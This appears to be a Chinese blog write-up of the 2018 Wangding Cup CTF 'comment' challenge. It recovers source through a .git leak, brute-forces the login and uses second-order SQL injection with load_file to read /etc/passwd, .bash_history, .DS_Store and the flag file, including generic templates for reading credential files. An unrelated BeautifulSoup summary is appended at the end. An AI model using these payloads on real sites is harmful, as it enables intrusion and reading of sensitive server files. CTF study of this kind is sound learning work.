网鼎杯2018comment刷题笔记

网鼎杯2018comment刷题笔记

这道题目叫comment,评论的意思,应该是一个评论功能的网站
在这里插入图片描述
打开一看开局一个留言板,试一下发帖,随便填点
在这里插入图片描述

,提交,会跳转到一个登录界面

在这里插入图片描述

测一下sql,没啥进展,那就扫一下目录

在这里插入图片描述

在这里插入图片描述

.git泄露,还有存在mysql.php,用git泄露利用工具,把文件拿下来
在这里插入图片描述

这是个残缺的文件,找一下历史漏洞具体语句



git log --reflog

然后恢复到想要的版本


git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

hard 后面跟随的是之前版本的文件记录,也叫版本回滚

不过新版的githacker它dump下来的文件里没有.git文件,我好崩溃,只能去网上找了,下面是完整源代码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

通过代码审计分析发现需要使_$session[login]为yes,才能跳过绕过登录界面,_$session伪造需要知道密匙,这里没有给出密匙,而在登录界面好像有密码提示

在这里插入图片描述

后面的***,尝试一下burp抓包爆破,***为666,成功登录进去,继续代码审计,代码通过get传参判断判断是发帖还是评论,然后通过post传递写入的东西,代码包含了mysql.php,,通过sql语句插入数据库,和查询数据库这里传入的post参数都通过一个php函数addslashes来进行过滤

addslashes 是一个 PHP 函数,用于在特定字符前添加反斜杠,以防止这些字符被当作 SQL 查询中的特殊字符。通常,这个函数用于准备将数据插入数据库,以防止 SQL 注入攻击。

addslshes一般是不存在sql注入漏洞的,但存在一个特例,就是当数据库的编码为GBK时,可以使用宽字节注入,

后面又试了一下,发现不行,应该这个mysql数据库用的不是GBK编码,用的可能是utf-8编码,所以不能使用宽字节注入绕过,继续观察源代码,发信当do=comment时,category是直接从数据库拿出来的,没有进行转义,所以可能存在二次注入,数据库在存储时会将转义用的反斜杠去掉

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被再次读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序再次调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入和普通的sql注入区别就是,二次注入是把恶意代码放入数据库中,执行后通过select等语句把结果回显,一般存在于insert语句中

据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入和普通的sql注入区别就是,二次注入是把恶意代码放入数据库中,执行后通过select等语句把结果回显,一般存在于insert语句中
这里的思路就是通过comment时将catergery取出构造payload要将sql语句后面原来的去掉

payload:0',content=database(),/*

2.在提交留言处输入*/#
(这个sql语句是换行的,所以我们无法用单行注释符,必须用/**/拼接)

这样 sql语句 拼接 并 闭合 情况如下:

insert into comment
            set category = '0',content=database(),/*,
                content = '*/#',
                bo_id = '$bo_id'

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

后面我看到网上的wp说,通过数据库权限可以判断flag是否在数据库里如果是root权限,那一般都不在数据库里

在这里插入图片描述

这里就是root权限

看了师傅们的WriteUp,发现这里是用sql来读取文件。模板:select load_file(‘文件绝对路径’)。

load_file(‘文件绝对路径’)读取文件并返回文件内容为字符串。使用此函数,该文件必须位于服务器主机上,必须指定完整路径的文件,必须有FILE权限。
一般用法步骤:

读/etc/init.d下的东西,这里有配置文件路径
?id=1’ union select 1,2,load_file(‘/etc/init.d/httpd’)
得到web安装路径
?id=1’ union select 1,2,load_file(‘/etc/apache/conf/httpd.conf’)
读取密码文件
?id=1’ union select 1,2,load_file(‘var/www/html/xxx.com/php/conn.inc.php’)

一:首先读取/etc/passwd,这个文件存放了系统用户和用户的路径

payload:a',content=(select (load_file('/etc/passwd'))),/*
在这里插入图片描述

读取成功,可以知道www用户(一般和网站操作相关的用户,由中间件创建)的目录是/home/www,可以查询这下面的.bash_history

每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。

二:payload:a',content=(select (load_file('/home/www/.bash_history'))),/*

在这里插入图片描述

得到历史记录里之前所执行的命令
可以看到html.zip里面有一个.DS_Store文件,复制到/var/www/html目录下后被删除了,但是在/tmp/下只是删除了压缩包,但是因为有解压的过程,所以解压后生成的文件夹html里还存在.DS_Store文件,读取这个文件。

.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。

三:

这儿由于文件太大,不能完全显示,所以我们用十六进制编码,

payload:a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

然后去解码

在这里插入图片描述

四:读取解码出来的这个可能含flag的文件flag_8946e1ff1ee3e40f.php

payload:a',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

在这里插入图片描述

这里也是用了16进制编码,去解码一下,其实这里也不用编码了,不编码的话f12也是可以看到文件的

在这里插入图片描述

而上面的.DS_Store因为太大,是需要编码才能完全看见的

ok,非常的艰难,解毕

总结:这里新学到了sql的二次注入还有,sql注入读取文件的方式,通过模板:select load_file(‘文件绝对路径’)。就可以读取,还学到了linux的一些知识,如何通过sql注入文件读取去查询linux系统里的一些敏感信息

  • 38
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
BeautifulSoup是一个Python库,用于从HTML或XML文件中提取数据。它提供了一种简单而灵活的方式来解析和遍历标记文档,并提供了许多有用的方法和属性来获取所需的信息。 在BeautifulSoup库的学习笔记中,介绍了BeautifulSoup库的简介和安装方法。它可以通过pip进行安装,并且有多种解析器可供选择。BeautifulSoup类有五种基本元素,包括Tag标签、Name名字、Attributes属性、NavigableString非属性字符串和Comment注释。它们可以用于遍历标签树的下行、上行和平行遍历。此外,BeautifulSoup几乎覆盖了HTML和XML中的所有内容,还包括一些特殊对象,例如文档的注释部分。 需要注意的是,BeautifulSoup对象本身不是真正的HTML或XML的tag,因此它没有name和attribute属性。但是,在某些情况下,查看它的.name属性是很方便的,因此BeautifulSoup对象包含了一个特殊属性.name,其值为"[document]"。另外,还有一些特殊对象,例如注释对象,可以通过使用BeautifulSoup库来处理。 综上所述,BeautifulSoup库提供了强大的解析和提取HTML或XML中数据的功能,适用于各种爬虫和数据提取任务。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [BeautifulSoup库学习笔记一](https://blog.csdn.net/weixin_43978546/article/details/104858873)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [BeautifulSoup 学习笔记](https://blog.csdn.net/zhengjian0617/article/details/81142540)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值